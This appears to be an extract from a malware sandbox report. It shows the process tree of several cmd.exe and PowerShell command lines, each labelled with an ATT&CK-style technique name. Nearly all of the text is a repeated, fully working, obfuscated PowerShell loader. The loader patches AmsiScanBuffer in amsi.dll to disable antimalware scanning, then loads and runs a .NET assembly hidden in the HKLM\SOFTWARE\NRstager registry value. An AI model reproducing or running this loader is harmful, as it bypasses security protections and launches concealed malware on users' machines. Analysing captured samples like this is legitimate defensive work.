C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -Command ""function Local:hXOSoICOAwqp{Param([OutputType([Type])][Parameter(Position=0)][Type[]]$eIDypBQLdnyLeZ,[Parameter(Position=1)][Type]$QOymiqIZqB)$VlcGlIvsaVR=[AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object Reflection.AssemblyName('R'+[Char](101)+''+[Char](102)+''+'l'+'ec'+[Char](116)+'ed'+'D'+''+[Char](101)+''+'l'+''+[Char](101)+'g'+[Char](97)+''+[Char](116)+''+[Char](101)+'')),[Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule('I'+[Char](110)+''+'M'+''+[Char](101)+''+[Char](109)+''+[Char](111)+''+[Char](114)+''+[Char](121)+'M'+[Char](111)+''+[Char](100)+'u'+[Char](108)+''+[Char](101)+'',$False).DefineType('M'+'y'+''+[Char](68)+''+'e'+'l'+'e'+''+[Char](103)+'at'+[Char](101)+''+'T'+'yp'+'e'+'',''+[Char](67)+''+[Char](108)+'a'+'s'+''+[Char](115)+''+[Char](44)+'P'+'u'+''+'b'+'l'+'i'+''+'c'+','+[Char](83)+'e'+[Char](97)+'l'+[Char](101)+''+'d'+''+','+''+'A'+'n'+[Char](115)+''+'i'+''+[Char](67)+''+[Char](108)+''+'a'+'s'+'s'+''+[Char](44)+'A'+[Char](117)+''+[Char](116)+'o'+[Char](67)+''+[Char](108)+''+[Char](97)+''+[Char](115)+''+'s'+'',[MulticastDelegate]);$VlcGlIvsaVR.DefineConstructor('RTS'+[Char](112)+''+[Char](101)+'c'+[Char](105)+''+[Char](97)+''+[Char](108)+'Na'+'m'+''+[Char](101)+''+','+''+'H'+'i'+[Char](100)+''+[Char](101)+''+[Char](66)+'y'+[Char](83)+''+[Char](105)+''+[Char](103)+''+[Char](44)+'P'+[Char](117)+''+[Char](98)+'lic',[Reflection.CallingConventions]::Standard,$eIDypBQLdnyLeZ).SetImplementationFlags(''+'R'+''+[Char](117)+''+[Char](110)+'t'+[Char](105)+''+[Char](109)+''+[Char](101)+''+[Char](44)+'Ma'+'n'+''+[Char](97)+''+[Char](103)+''+[Char](101)+'d');$VlcGlIvsaVR.DefineMethod(''+'I'+''+[Char](110)+''+[Char](118)+'o'+[Char](107)+''+[Char](101)+'',''+[Char](80)+'ub'+[Char](108)+'i'+[Char](99)+''+[Char](44)+''+[Char](72)+''+[Char](105)+'d'+[Char](101)+'B'+'y'+'Si'+[Char](103)+''+[Char](44)+''+[Char](78)+''+[Char](101)+''+'w'+''+'S'+''+'l'+''+'o'+'t,'+[Char](86)+''+'i'+''+[Char](114)+''+[Char](116)+''+[Char](117)+''+[Char](97)+'l',$QOymiqIZqB,$eIDypBQLdnyLeZ).SetImplementationFlags('Ru'+[Char](110)+''+[Char](116)+''+'i'+''+[Char](109)+'e'+[Char](44)+''+[Char](77)+''+[Char](97)+'n'+'a'+''+[Char](103)+''+'e'+''+[Char](100)+'');Write-Output $VlcGlIvsaVR.CreateType();}$beWBNrmJxDtEv=([AppDomain]::CurrentDomain.GetAssemblies()|Where-Object{$_.GlobalAssemblyCache -And $_.Location.Split('\')[-1].Equals(''+'S'+''+[Char](121)+''+[Char](115)+''+'t'+''+[Char](101)+''+'m'+''+[Char](46)+''+'d'+'ll')}).GetType('M'+[Char](105)+'c'+'r'+''+[Char](111)+''+'s'+''+[Char](111)+''+[Char](102)+''+[Char](116)+''+[Char](46)+''+[Char](87)+''+[Char](105)+''+[Char](110)+'3'+[Char](50)+'.U'+'n'+''+[Char](115)+''+[Char](97)+'f'+[Char](101)+''+'N'+''+[Char](97)+''+'t'+''+[Char](105)+''+'v'+''+[Char](101)+''+[Char](77)+''+'e'+'t'+'h'+''+'o'+'d'+[Char](115)+'');$zoNvcEewKekUbC=$beWBNrmJxDtEv.GetMethod('G'+[Char](101)+''+'t'+''+[Char](80)+''+'r'+''+[Char](111)+''+'c'+''+[Char](65)+''+[Char](100)+''+'d'+''+'r'+''+[Char](101)+'s'+[Char](115)+'',[Reflection.BindingFlags](''+[Char](80)+''+[Char](117)+''+'b'+''+[Char](108)+''+[Char](105)+''+[Char](99)+''+[Char](44)+'St'+[Char](97)+'t'+[Char](105)+'c'),$Null,[Reflection.CallingConventions]::Any,@((New-Object IntPtr).GetType(),[string]),$Null);$VTTrQDTTPibpNevRTow=hXOSoICOAwqp @([String])([IntPtr]);$spKzkKUenCTPGuEuFTqueU=hXOSoICOAwqp @([IntPtr],[UIntPtr],[UInt32],[UInt32].MakeByRefType())([Bool]);$KuubAIOvAdo=$beWBNrmJxDtEv.GetMethod(''+[Char](71)+''+'e'+''+'t'+''+'M'+''+[Char](111)+'du'+[Char](108)+'e'+'H'+''+[Char](97)+''+[Char](110)+''+[Char](100)+''+[Char](108)+''+[Char](101)+'').Invoke($Null,@([Object]('k'+[Char](101)+''+'r'+''+[Char](110)+'e'+[Char](108)+''+'3'+''+[Char](50)+''+[Char](46)+''+[Char](100)+''+[Char](108)+''+'l'+'')));$CnGonXVCBbbWni=$zoNvcEewKekUbC.Invoke($Null,@([Object]$KuubAIOvAdo,[Object](''+'L'+''+[Char](111)+''+[Char](97)+''+'d'+''+'L'+''+[Char](105)+''+[Char](98)+'r'+[Char](97)+''+'r'+'yA')));$DdUiwRSqWeZPaGdcN=$zoNvcEewKekUbC.Invoke($Null,@([Object]$KuubAIOvAdo,[Object](''+[Char](86)+'i'+[Char](114)+''+[Char](116)+''+'u'+''+[Char](97)+'l'+[Char](80)+''+[Char](114)+''+'o'+'t'+[Char](101)+''+[Char](99)+''+[Char](116)+'')));$oofEUwP=[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($CnGonXVCBbbWni,$VTTrQDTTPibpNevRTow).Invoke(''+[Char](97)+''+'m'+''+'s'+''+[Char](105)+''+[Char](46)+'d'+'l'+''+[Char](108)+'');$oWpvFJDIoiExWaUMj=$zoNvcEewKekUbC.Invoke($Null,@([Object]$oofEUwP,[Object](''+'A'+''+'m'+'s'+[Char](105)+''+[Char](83)+''+[Char](99)+''+[Char](97)+'nB'+'u'+''+'f'+''+'f'+''+[Char](101)+'r')));$vxLiYtUqIp=0;[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($DdUiwRSqWeZPaGdcN,$spKzkKUenCTPGuEuFTqueU).Invoke($oWpvFJDIoiExWaUMj,[uint32]8,4,[ref]$vxLiYtUqIp);[Runtime.InteropServices.Marshal]::Copy([Byte[]]([Byte](124+7),[Byte](169+24),[Byte](68-68),[Byte](185-1),[Byte](244-157),[Byte](248-248),[Byte](86-79),[Byte](161-33),[Byte](53+78),[Byte](129+106),[Byte](39-39),[Byte](127+68),[Byte](69+68),[Byte](69+141)),0,$oWpvFJDIoiExWaUMj,86-72);[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($DdUiwRSqWeZPaGdcN,$spKzkKUenCTPGuEuFTqueU).Invoke($oWpvFJDIoiExWaUMj,[uint32]8,0x20,[ref]$vxLiYtUqIp);[Reflection.Assembly]::Load([Microsoft.Win32.Registry]::LocalMachine.OpenSubkey('S'+[Char](79)+''+'F'+''+[Char](84)+'WA'+[Char](82)+'E').GetValue('N'+[Char](82)+''+'s'+'tage'+[Char](114)+'')).EntryPoint.Invoke($Null,$Null)""2⤵
- Command and Scripting Interpreter: PowerShell
-
-
C:\Windows\system32\cmd.execmd.exe /c "powershell.exe -Command ""function Local:cGjpzWQAKWvs{Param([OutputType([Type])][Parameter(Position=0)][Type[]]$dKVeSvfnbuYsUk,[Parameter(Position=1)][Type]$IaVhMDQqmK)$zwVmuLdExKN=[AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object Reflection.AssemblyName('R'+[Char](101)+'f'+[Char](108)+'e'+[Char](99)+'t'+[Char](101)+''+[Char](100)+''+'D'+''+[Char](101)+''+[Char](108)+''+[Char](101)+''+[Char](103)+''+[Char](97)+'t'+[Char](101)+'')),[Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule(''+'I'+''+'n'+''+'M'+'e'+[Char](109)+'or'+[Char](121)+''+[Char](77)+''+'o'+'d'+[Char](117)+''+[Char](108)+''+[Char](101)+'',$False).DefineType('M'+[Char](121)+''+[Char](68)+''+'e'+''+[Char](108)+'e'+'g'+''+[Char](97)+''+[Char](116)+''+[Char](101)+'T'+[Char](121)+'p'+'e'+'',''+[Char](67)+''+[Char](108)+''+[Char](97)+''+[Char](115)+''+[Char](115)+''+','+''+[Char](80)+''+[Char](117)+''+[Char](98)+''+'l'+'ic'+[Char](44)+''+[Char](83)+''+[Char](101)+''+[Char](97)+'l'+'e'+''+[Char](100)+''+','+'A'+'n'+''+'s'+''+'i'+''+[Char](67)+''+[Char](108)+''+[Char](97)+''+[Char](115)+''+[Char](115)+''+[Char](44)+'A'+[Char](117)+''+[Char](116)+''+[Char](111)+''+[Char](67)+''+[Char](108)+'ass',[MulticastDelegate]);$zwVmuLdExKN.DefineConstructor(''+[Char](82)+''+'T'+''+[Char](83)+''+[Char](112)+''+[Char](101)+''+[Char](99)+''+'i'+''+'a'+'l'+[Char](78)+''+'a'+''+[Char](109)+''+[Char](101)+''+[Char](44)+''+[Char](72)+''+[Char](105)+''+[Char](100)+'e'+'B'+''+[Char](121)+''+'S'+''+[Char](105)+''+[Char](103)+''+[Char](44)+''+[Char](80)+''+[Char](117)+''+[Char](98)+''+[Char](108)+'ic',[Reflection.CallingConventions]::Standard,$dKVeSvfnbuYsUk).SetImplementationFlags('R'+[Char](117)+''+[Char](110)+''+[Char](116)+''+[Char](105)+''+[Char](109)+''+'e'+''+','+''+'M'+''+[Char](97)+''+'n'+''+[Char](97)+''+[Char](103)+'ed');$zwVmuLdExKN.DefineMethod(''+'I'+'n'+[Char](118)+'o'+[Char](107)+''+'e'+'',''+'P'+'u'+'b'+''+'l'+''+'i'+''+'c'+''+','+''+[Char](72)+''+'i'+''+'d'+''+[Char](101)+''+[Char](66)+''+[Char](121)+'Si'+[Char](103)+''+[Char](44)+''+[Char](78)+'e'+[Char](119)+''+'S'+''+[Char](108)+'ot'+[Char](44)+'V'+[Char](105)+''+'r'+'tu'+[Char](97)+''+[Char](108)+'',$IaVhMDQqmK,$dKVeSvfnbuYsUk).SetImplementationFlags(''+[Char](82)+''+[Char](117)+''+'n'+''+[Char](116)+''+'i'+''+[Char](109)+''+[Char](101)+','+'M'+''+[Char](97)+'n'+'a'+''+[Char](103)+'ed');Write-Output $zwVmuLdExKN.CreateType();}$lspRlaEkENDmZ=([AppDomain]::CurrentDomain.GetAssemblies()^|Where-Object{$_.GlobalAssemblyCache -And $_.Location.Split('\')[-1].Equals('S'+'y'+''+'s'+''+[Char](116)+''+'e'+''+[Char](109)+''+'.'+'dl'+[Char](108)+'')}).GetType('Mi'+[Char](99)+''+[Char](114)+''+'o'+''+[Char](115)+'o'+'f'+'t'+[Char](46)+'W'+[Char](105)+'n'+[Char](51)+''+[Char](50)+''+[Char](46)+''+[Char](85)+''+[Char](110)+''+'s'+''+[Char](97)+'fe'+'N'+''+[Char](97)+'t'+'i'+''+'v'+''+[Char](101)+''+[Char](77)+'e'+[Char](116)+'h'+[Char](111)+''+'d'+''+'s'+'');$taivxwBdsjrNxV=$lspRlaEkENDmZ.GetMethod(''+'G'+'e'+[Char](116)+''+[Char](80)+''+[Char](114)+'o'+[Char](99)+''+'A'+'dd'+[Char](114)+'e'+[Char](115)+''+[Char](115)+'',[Reflection.BindingFlags](''+[Char](80)+''+'u'+'bl'+[Char](105)+''+'c'+''+','+'S'+[Char](116)+''+[Char](97)+''+[Char](116)+'i'+'c'+''),$Null,[Reflection.CallingConventions]::Any,@((New-Object IntPtr).GetType(),[string]),$Null);$ejqTolznTqsULGtLJiv=cGjpzWQAKWvs @([String])([IntPtr]);$BcGOPTUpsMeDTsKWcTizXs=cGjpzWQAKWvs @([IntPtr],[UIntPtr],[UInt32],[UInt32].MakeByRefType())([Bool]);$kkJGPHPSGuf=$lspRlaEkENDmZ.GetMethod(''+[Char](71)+'e'+[Char](116)+''+[Char](77)+''+[Char](111)+''+[Char](100)+'u'+[Char](108)+''+[Char](101)+''+[Char](72)+''+[Char](97)+'n'+'d'+''+[Char](108)+''+[Char](101)+'').Invoke($Null,@([Object]('k'+[Char](101)+'r'+'n'+'e'+[Char](108)+''+[Char](51)+'2'+'.'+''+[Char](100)+''+[Char](108)+''+'l'+'')));$OECfVLljbOSQor=$taivxwBdsjrNxV.Invoke($Null,@([Object]$kkJGPHPSGuf,[Object](''+'L'+'o'+[Char](97)+''+'d'+'L'+[Char](105)+'b'+[Char](114)+''+[Char](97)+''+[Char](114)+''+[Char](121)+''+[Char](65)+'')));$hQJQEDkMHOBIpxqWm=$taivxwBdsjrNxV.Invoke($Null,@([Object]$kkJGPHPSGuf,[Object](''+[Char](86)+'ir'+[Char](116)+''+[Char](117)+''+'a'+''+[Char](108)+'P'+[Char](114)+''+'o'+''+'t'+''+'e'+''+'c'+''+'t'+'')));$jPWJuPq=[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($OECfVLljbOSQor,$ejqTolznTqsULGtLJiv).Invoke('a'+'m'+''+'s'+''+'i'+'.'+[Char](100)+''+[Char](108)+''+[Char](108)+'');$QTqgZqJhjKvzAcaLb=$taivxwBdsjrNxV.Invoke($Null,@([Object]$jPWJuPq,[Object]('A'+[Char](109)+''+'s'+'i'+[Char](83)+''+[Char](99)+'a'+[Char](110)+'B'+'u'+'f'+'f'+'er')));$mzXEkrercy=0;[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($hQJQEDkMHOBIpxqWm,$BcGOPTUpsMeDTsKWcTizXs).Invoke($QTqgZqJhjKvzAcaLb,[uint32]8,4,[ref]$mzXEkrercy);[Runtime.InteropServices.Marshal]::Copy([Byte[]]([Byte](188-51),[Byte](123+96),[Byte](158+26),[Byte](199-112),[Byte](94-94),[Byte](101-94),[Byte](157-29),[Byte](172-35),[Byte](134+76),[Byte](246-51),[Byte](26+105),[Byte](123+112),[Byte](49-49)),0,$QTqgZqJhjKvzAcaLb,243-230);[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($hQJQEDkMHOBIpxqWm,$BcGOPTUpsMeDTsKWcTizXs).Invoke($QTqgZqJhjKvzAcaLb,[uint32]8,0x20,[ref]$mzXEkrercy);[Reflection.Assembly]::Load([Microsoft.Win32.Registry]::LocalMachine.OpenSubkey(''+[Char](83)+''+[Char](79)+''+'F'+'T'+[Char](87)+''+'A'+'RE').GetValue(''+[Char](78)+''+[Char](82)+'s'+'t'+''+[Char](97)+''+[Char](103)+''+[Char](101)+'r')).EntryPoint.Invoke($Null,$Null)"""1⤵
- Executes a command shell one-liner
- System Time Discovery
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -Command ""function Local:cGjpzWQAKWvs{Param([OutputType([Type])][Parameter(Position=0)][Type[]]$dKVeSvfnbuYsUk,[Parameter(Position=1)][Type]$IaVhMDQqmK)$zwVmuLdExKN=[AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object Reflection.AssemblyName('R'+[Char](101)+'f'+[Char](108)+'e'+[Char](99)+'t'+[Char](101)+''+[Char](100)+''+'D'+''+[Char](101)+''+[Char](108)+''+[Char](101)+''+[Char](103)+''+[Char](97)+'t'+[Char](101)+'')),[Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule(''+'I'+''+'n'+''+'M'+'e'+[Char](109)+'or'+[Char](121)+''+[Char](77)+''+'o'+'d'+[Char](117)+''+[Char](108)+''+[Char](101)+'',$False).DefineType('M'+[Char](121)+''+[Char](68)+''+'e'+''+[Char](108)+'e'+'g'+''+[Char](97)+''+[Char](116)+''+[Char](101)+'T'+[Char](121)+'p'+'e'+'',''+[Char](67)+''+[Char](108)+''+[Char](97)+''+[Char](115)+''+[Char](115)+''+','+''+[Char](80)+''+[Char](117)+''+[Char](98)+''+'l'+'ic'+[Char](44)+''+[Char](83)+''+[Char](101)+''+[Char](97)+'l'+'e'+''+[Char](100)+''+','+'A'+'n'+''+'s'+''+'i'+''+[Char](67)+''+[Char](108)+''+[Char](97)+''+[Char](115)+''+[Char](115)+''+[Char](44)+'A'+[Char](117)+''+[Char](116)+''+[Char](111)+''+[Char](67)+''+[Char](108)+'ass',[MulticastDelegate]);$zwVmuLdExKN.DefineConstructor(''+[Char](82)+''+'T'+''+[Char](83)+''+[Char](112)+''+[Char](101)+''+[Char](99)+''+'i'+''+'a'+'l'+[Char](78)+''+'a'+''+[Char](109)+''+[Char](101)+''+[Char](44)+''+[Char](72)+''+[Char](105)+''+[Char](100)+'e'+'B'+''+[Char](121)+''+'S'+''+[Char](105)+''+[Char](103)+''+[Char](44)+''+[Char](80)+''+[Char](117)+''+[Char](98)+''+[Char](108)+'ic',[Reflection.CallingConventions]::Standard,$dKVeSvfnbuYsUk).SetImplementationFlags('R'+[Char](117)+''+[Char](110)+''+[Char](116)+''+[Char](105)+''+[Char](109)+''+'e'+''+','+''+'M'+''+[Char](97)+''+'n'+''+[Char](97)+''+[Char](103)+'ed');$zwVmuLdExKN.DefineMethod(''+'I'+'n'+[Char](118)+'o'+[Char](107)+''+'e'+'',''+'P'+'u'+'b'+''+'l'+''+'i'+''+'c'+''+','+''+[Char](72)+''+'i'+''+'d'+''+[Char](101)+''+[Char](66)+''+[Char](121)+'Si'+[Char](103)+''+[Char](44)+''+[Char](78)+'e'+[Char](119)+''+'S'+''+[Char](108)+'ot'+[Char](44)+'V'+[Char](105)+''+'r'+'tu'+[Char](97)+''+[Char](108)+'',$IaVhMDQqmK,$dKVeSvfnbuYsUk).SetImplementationFlags(''+[Char](82)+''+[Char](117)+''+'n'+''+[Char](116)+''+'i'+''+[Char](109)+''+[Char](101)+','+'M'+''+[Char](97)+'n'+'a'+''+[Char](103)+'ed');Write-Output $zwVmuLdExKN.CreateType();}$lspRlaEkENDmZ=([AppDomain]::CurrentDomain.GetAssemblies()|Where-Object{$_.GlobalAssemblyCache -And $_.Location.Split('\')[-1].Equals('S'+'y'+''+'s'+''+[Char](116)+''+'e'+''+[Char](109)+''+'.'+'dl'+[Char](108)+'')}).GetType('Mi'+[Char](99)+''+[Char](114)+''+'o'+''+[Char](115)+'o'+'f'+'t'+[Char](46)+'W'+[Char](105)+'n'+[Char](51)+''+[Char](50)+''+[Char](46)+''+[Char](85)+''+[Char](110)+''+'s'+''+[Char](97)+'fe'+'N'+''+[Char](97)+'t'+'i'+''+'v'+''+[Char](101)+''+[Char](77)+'e'+[Char](116)+'h'+[Char](111)+''+'d'+''+'s'+'');$taivxwBdsjrNxV=$lspRlaEkENDmZ.GetMethod(''+'G'+'e'+[Char](116)+''+[Char](80)+''+[Char](114)+'o'+[Char](99)+''+'A'+'dd'+[Char](114)+'e'+[Char](115)+''+[Char](115)+'',[Reflection.BindingFlags](''+[Char](80)+''+'u'+'bl'+[Char](105)+''+'c'+''+','+'S'+[Char](116)+''+[Char](97)+''+[Char](116)+'i'+'c'+''),$Null,[Reflection.CallingConventions]::Any,@((New-Object IntPtr).GetType(),[string]),$Null);$ejqTolznTqsULGtLJiv=cGjpzWQAKWvs @([String])([IntPtr]);$BcGOPTUpsMeDTsKWcTizXs=cGjpzWQAKWvs @([IntPtr],[UIntPtr],[UInt32],[UInt32].MakeByRefType())([Bool]);$kkJGPHPSGuf=$lspRlaEkENDmZ.GetMethod(''+[Char](71)+'e'+[Char](116)+''+[Char](77)+''+[Char](111)+''+[Char](100)+'u'+[Char](108)+''+[Char](101)+''+[Char](72)+''+[Char](97)+'n'+'d'+''+[Char](108)+''+[Char](101)+'').Invoke($Null,@([Object]('k'+[Char](101)+'r'+'n'+'e'+[Char](108)+''+[Char](51)+'2'+'.'+''+[Char](100)+''+[Char](108)+''+'l'+'')));$OECfVLljbOSQor=$taivxwBdsjrNxV.Invoke($Null,@([Object]$kkJGPHPSGuf,[Object](''+'L'+'o'+[Char](97)+''+'d'+'L'+[Char](105)+'b'+[Char](114)+''+[Char](97)+''+[Char](114)+''+[Char](121)+''+[Char](65)+'')));$hQJQEDkMHOBIpxqWm=$taivxwBdsjrNxV.Invoke($Null,@([Object]$kkJGPHPSGuf,[Object](''+[Char](86)+'ir'+[Char](116)+''+[Char](117)+''+'a'+''+[Char](108)+'P'+[Char](114)+''+'o'+''+'t'+''+'e'+''+'c'+''+'t'+'')));$jPWJuPq=[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($OECfVLljbOSQor,$ejqTolznTqsULGtLJiv).Invoke('a'+'m'+''+'s'+''+'i'+'.'+[Char](100)+''+[Char](108)+''+[Char](108)+'');$QTqgZqJhjKvzAcaLb=$taivxwBdsjrNxV.Invoke($Null,@([Object]$jPWJuPq,[Object]('A'+[Char](109)+''+'s'+'i'+[Char](83)+''+[Char](99)+'a'+[Char](110)+'B'+'u'+'f'+'f'+'er')));$mzXEkrercy=0;[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($hQJQEDkMHOBIpxqWm,$BcGOPTUpsMeDTsKWcTizXs).Invoke($QTqgZqJhjKvzAcaLb,[uint32]8,4,[ref]$mzXEkrercy);[Runtime.InteropServices.Marshal]::Copy([Byte[]]([Byte](188-51),[Byte](123+96),[Byte](158+26),[Byte](199-112),[Byte](94-94),[Byte](101-94),[Byte](157-29),[Byte](172-35),[Byte](134+76),[Byte](246-51),[Byte](26+105),[Byte](123+112),[Byte](49-49)),0,$QTqgZqJhjKvzAcaLb,243-230);[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($hQJQEDkMHOBIpxqWm,$BcGOPTUpsMeDTsKWcTizXs).Invoke($QTqgZqJhjKvzAcaLb,[uint32]8,0x20,[ref]$mzXEkrercy);[Reflection.Assembly]::Load([Microsoft.Win32.Registry]::LocalMachine.OpenSubkey(''+[Char](83)+''+[Char](79)+''+'F'+'T'+[Char](87)+''+'A'+'RE').GetValue(''+[Char](78)+''+[Char](82)+'s'+'t'+''+[Char](97)+''+[Char](103)+''+[Char](101)+'r')).EntryPoint.Invoke($Null,$Null)""2⤵
- Command and Scripting Interpreter: PowerShell
-
-
C:\Windows\system32\cmd.execmd.exe /c "powershell.exe -Command ""function Local:yFQdYfuwSpWD{Param([OutputType([Type])][Parameter(Position=0)][Type[]]$lZcLKMcphPEWeK,[Parameter(Position=1)][Type]$xXObQpHsAT)$FFXPgTszjMm=[AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object Reflection.AssemblyName(''+[Char](82)+'e'+'f'+''+[Char](108)+'ect'+[Char](101)+''+'d'+''+[Char](68)+''+'e'+''+[Char](108)+''+'e'+''+[Char](103)+''+'a'+''+'t'+''+'e'+'')),[Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule(''+[Char](73)+''+[Char](110)+''+[Char](77)+''+'e'+''+[Char](109)+''+[Char](111)+''+[Char](114)+''+[Char](121)+''+[Char](77)+''+[Char](111)+''+'d'+''+'u'+''+'l'+'e',$False).DefineType(''+[Char](77)+''+[Char](121)+''+[Char](68)+'e'+[Char](108)+'e'+[Char](103)+''+[Char](97)+''+'t'+''+[Char](101)+''+[Char](84)+''+[Char](121)+''+[Char](112)+''+[Char](101)+'',''+[Char](67)+'la'+'s'+'s'+[Char](44)+''+'P'+''+'u'+''+'b'+''+[Char](108)+''+'i'+''+[Char](99)+''+[Char](44)+''+[Char](83)+''+[Char](101)+''+'a'+''+'l'+'e'+[Char](100)+','+'A'+''+[Char](110)+''+[Char](115)+''+[Char](105)+'C'+'l'+''+[Char](97)+''+[Char](115)+'s'+[Char](44)+''+[Char](65)+''+[Char](117)+''+[Char](116)+''+'o'+''+[Char](67)+''+'l'+'a'+[Char](115)+''+[Char](115)+'',[MulticastDelegate]);$FFXPgTszjMm.DefineConstructor(''+'R'+''+'T'+''+[Char](83)+''+[Char](112)+''+[Char](101)+''+'c'+''+[Char](105)+'a'+'l'+'N'+[Char](97)+'m'+[Char](101)+',H'+'i'+''+[Char](100)+''+'e'+'B'+[Char](121)+'S'+'i'+'g'+','+''+[Char](80)+''+[Char](117)+'b'+[Char](108)+'i'+[Char](99)+'',[Reflection.CallingConventions]::Standard,$lZcLKMcphPEWeK).SetImplementationFlags(''+[Char](82)+''+[Char](117)+''+[Char](110)+'t'+[Char](105)+'m'+[Char](101)+''+[Char](44)+'Ma'+'n'+''+[Char](97)+''+[Char](103)+'e'+'d'+'');$FFXPgTszjMm.DefineMethod(''+[Char](73)+''+'n'+''+[Char](118)+'o'+[Char](107)+''+'e'+'',''+[Char](80)+''+'u'+''+'b'+''+[Char](108)+''+'i'+''+[Char](99)+''+','+''+'H'+'id'+[Char](101)+''+[Char](66)+''+[Char](121)+''+[Char](83)+''+[Char](105)+''+[Char](103)+','+'N'+''+[Char](101)+''+[Char](119)+''+'S'+''+[Char](108)+''+[Char](111)+''+'t'+',Vi'+'r'+''+'t'+''+[Char](117)+'a'+'l'+'',$xXObQpHsAT,$lZcLKMcphPEWeK).SetImplementationFlags(''+'R'+'u'+[Char](110)+''+[Char](116)+''+'i'+''+[Char](109)+''+[Char](101)+''+[Char](44)+''+[Char](77)+'a'+'n'+''+[Char](97)+''+'g'+''+[Char](101)+''+[Char](100)+'');Write-Output $FFXPgTszjMm.CreateType();}$YtAbtmUkITzLH=([AppDomain]::CurrentDomain.GetAssemblies()^|Where-Object{$_.GlobalAssemblyCache -And $_.Location.Split('\')[-1].Equals(''+[Char](83)+''+[Char](121)+''+[Char](115)+''+[Char](116)+'e'+[Char](109)+''+[Char](46)+''+[Char](100)+''+[Char](108)+''+[Char](108)+'')}).GetType(''+[Char](77)+''+'i'+''+'c'+''+[Char](114)+''+[Char](111)+''+[Char](115)+''+[Char](111)+''+[Char](102)+''+[Char](116)+''+'.'+''+[Char](87)+''+[Char](105)+''+'n'+'32'+[Char](46)+''+[Char](85)+'n'+[Char](115)+''+'a'+''+[Char](102)+'e'+'N'+'a'+[Char](116)+''+'i'+''+'v'+''+[Char](101)+''+[Char](77)+''+[Char](101)+'t'+'h'+''+[Char](111)+'d'+[Char](115)+'');$lvxztncEfEylYv=$YtAbtmUkITzLH.GetMethod('Ge'+[Char](116)+''+[Char](80)+''+[Char](114)+''+[Char](111)+''+'c'+''+[Char](65)+''+[Char](100)+''+'d'+''+[Char](114)+''+[Char](101)+''+'s'+''+[Char](115)+'',[Reflection.BindingFlags](''+[Char](80)+'u'+'b'+'l'+'i'+''+'c'+','+[Char](83)+''+[Char](116)+''+'a'+'t'+[Char](105)+'c'),$Null,[Reflection.CallingConventions]::Any,@((New-Object IntPtr).GetType(),[string]),$Null);$bkyOWGQGsloFmhdeDSE=yFQdYfuwSpWD @([String])([IntPtr]);$OLikffDmuAIUqXzZtpnzpG=yFQdYfuwSpWD @([IntPtr],[UIntPtr],[UInt32],[UInt32].MakeByRefType())([Bool]);$mTgCjBqPIXT=$YtAbtmUkITzLH.GetMethod(''+[Char](71)+''+[Char](101)+''+[Char](116)+''+[Char](77)+'o'+'d'+'ule'+[Char](72)+''+[Char](97)+''+[Char](110)+'d'+'l'+'e').Invoke($Null,@([Object](''+[Char](107)+''+'e'+''+'r'+'ne'+'l'+''+'3'+'2'+'.'+''+[Char](100)+''+[Char](108)+''+[Char](108)+'')));$LYzipnvFUhZyEM=$lvxztncEfEylYv.Invoke($Null,@([Object]$mTgCjBqPIXT,[Object](''+'L'+''+[Char](111)+''+[Char](97)+''+[Char](100)+''+[Char](76)+''+[Char](105)+''+[Char](98)+''+'r'+'a'+[Char](114)+''+[Char](121)+''+'A'+'')));$msjdkjTbEjDupUime=$lvxztncEfEylYv.Invoke($Null,@([Object]$mTgCjBqPIXT,[Object](''+[Char](86)+''+'i'+''+[Char](114)+''+'t'+''+[Char](117)+'a'+[Char](108)+''+[Char](80)+'r'+[Char](111)+''+[Char](116)+'ec'+[Char](116)+'')));$UCirWrP=[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($LYzipnvFUhZyEM,$bkyOWGQGsloFmhdeDSE).Invoke(''+[Char](97)+''+[Char](109)+''+'s'+''+[Char](105)+''+[Char](46)+'d'+[Char](108)+''+[Char](108)+'');$fBdeDMlhZLAXsNeEJ=$lvxztncEfEylYv.Invoke($Null,@([Object]$UCirWrP,[Object](''+[Char](65)+''+[Char](109)+'s'+'i'+''+'S'+''+[Char](99)+''+[Char](97)+''+[Char](110)+'B'+'u'+''+[Char](102)+''+[Char](102)+''+'e'+''+[Char](114)+'')));$xmqCceogQX=0;[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($msjdkjTbEjDupUime,$OLikffDmuAIUqXzZtpnzpG).Invoke($fBdeDMlhZLAXsNeEJ,[uint32]8,4,[ref]$xmqCceogQX);[Runtime.InteropServices.Marshal]::Copy([Byte[]]([Byte](242-111),[Byte](157+78),[Byte](95-95),[Byte](136+48),[Byte](132-45),[Byte](192-192),[Byte](147-140),[Byte](184-56),[Byte](176-39),[Byte](237-18),[Byte](93+102),[Byte](8+129),[Byte](64+128)),0,$fBdeDMlhZLAXsNeEJ,87-74);[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($msjdkjTbEjDupUime,$OLikffDmuAIUqXzZtpnzpG).Invoke($fBdeDMlhZLAXsNeEJ,[uint32]8,0x20,[ref]$xmqCceogQX);[Reflection.Assembly]::Load([Microsoft.Win32.Registry]::LocalMachine.OpenSubkey(''+[Char](83)+'O'+'F'+''+[Char](84)+'W'+[Char](65)+'R'+[Char](69)+'').GetValue('N'+[Char](82)+''+[Char](115)+''+'t'+''+[Char](97)+'g'+[Char](101)+''+[Char](114)+'')).EntryPoint.Invoke($Null,$Null)"""1⤵
- Executes a command shell one-liner
- System Time Discovery
-
